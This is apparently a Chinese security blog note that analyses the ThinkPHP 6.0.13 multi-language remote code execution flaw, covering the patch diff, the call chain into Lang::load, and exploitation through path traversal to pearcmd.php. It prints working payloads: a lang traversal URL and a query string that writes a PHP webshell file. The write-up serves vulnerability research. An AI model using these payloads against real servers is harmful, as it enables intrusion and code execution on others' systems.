今天跟了下前段时间爆出来的TP多语言RCE,虽然有限制,但从漏洞挖掘角度来看,这个洞确实很巧妙,做个笔记记录一下,环境如下:
PHP 7.3
ThinkPHP6.0.13
如果就单纯打洞,vulhub已经提供好现成环境了,或者自己compose下载代码改一下配置,TP6来到app/middleware.php,开启多语言模式
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
\think\middleware\LoadLangPack::class,
// Session初始化
// \think\middleware\SessionInit::class
];
然后我们来到public目录,随便创建个文件,作用就是弹计算器
打Exp,成功弹出计算器
http://www.xxx.com/?lang=../../../../../public/abcd
我们先来diff下官方是怎么修复这个漏洞的,https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099#diff-87105b2e85b593c39052051afbad00516b15ebe5fa0c445e91cfbb397fe0e8cb,可以看到官方直接删除了tp60\vendor\topthink\framework\src\think\Lang.php中的delete()、savaCookie()
注意看这里代码逻辑的改变,变成强制判断了,本来当上边所有条件都不满足,最后才会去获取请求头中Accept-Language的值,并进行合法性校验
改为了不管你上边取什么值,最终都会进行正则匹配,也就是合法性校验,确实就是代码逻辑的问题,就跟人生一样,执行顺序的不同,也可能导致不同的结果
那么到这里我们直接把断点下在\think\middleware\LoadLangPack::handle即可,这里算是入口点。由它调用detect开启RCE之旅
那么我们直接开打,跟进detect,首先会判断url中是否存在lang属性
有的话就直接赋值给$langSet,并判断$this->config['allow_lang_list']是否为空,或者咱们的lang是否在这个列表里
符合条件,直接跟入\think\Lang::setLangSet,作用就是将我们的恶意lang覆盖掉原range
接着如果lang发生改变,就调用\think\Lang::switchLangSet去设置lang,程序走到这里,也就基本完成了文件包含的使命了
最终在\think\Lang::load进行文件包含,成功包含了我们的恶意文件
完整调用链
Lang.php:170, think\Lang->load()
Lang.php:136, think\Lang->switchLangSet()
LoadLangPack.php:52, think\middleware\LoadLangPack->handle()
Middleware.php:142, call_user_func:{E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Middleware.php:142}()
Middleware.php:142, think\Middleware->think\{closure:E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Middleware.php:137-148}()
Pipeline.php:85, think\Pipeline->think\{closure:E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Pipeline.php:83-89}()
TraceDebug.php:71, think\trace\TraceDebug->handle()
Middleware.php:142, call_user_func:{E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Middleware.php:142}()
Middleware.php:142, think\Middleware->think\{closure:E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Middleware.php:137-148}()
Pipeline.php:85, think\Pipeline->think\{closure:E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Pipeline.php:83-89}()
Pipeline.php:66, think\Pipeline->then()
Http.php:207, think\Http->runWithRequest()
Http.php:170, think\Http->run()
index.php:20, {main}()
跟到这里就会发现,这本质上其实就是一个文件包含,关于PHP LFI利用是一个老生常谈的问题了,在vulhub提供的环境中我们发现PoC长这样
?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php
这其实用到了pearcmd.php。也就是pear/pcel命令,pear、pecl 其实算是包管理器,他帮助你发布、编译安装PHP的扩展、包
上面红框处config-create参数写的很清楚,就是创建文件,两个参数,路径和文件名
那么我们先单纯命令行写一个试一下
pear config-create /\<?=phpinfo\(\)?\> /tmp/test
成功写入,第一个参数值会被写入到第二个参数的文件中,这就是RCE的第一个条件:环境中存在pear/pcel命令
那么怎么在web中调用它,并且调用指定方法呢?这就要第二个RCE条件:支持register_argc_argv,这个功能的大致作用就是将url属性进行分割,就像这样
对应的就是下面这条命令
pear config-create /<?=phpinfo()?> shell.php
虽然漏洞利用起来有一定难度,但单从安全研究角度来说丝毫不影响它的巧妙,这应该是目前TP系列漏洞中调用栈最少的了,不得不佩服挖洞人,这得对TP这套框架相当熟悉,并且有耐心去跟才能出的“垃圾洞”,确实厉害的
参考链接:
https://tttang.com/archive/1865/#toc_thinkphp-6
https://tttang.com/archive/13122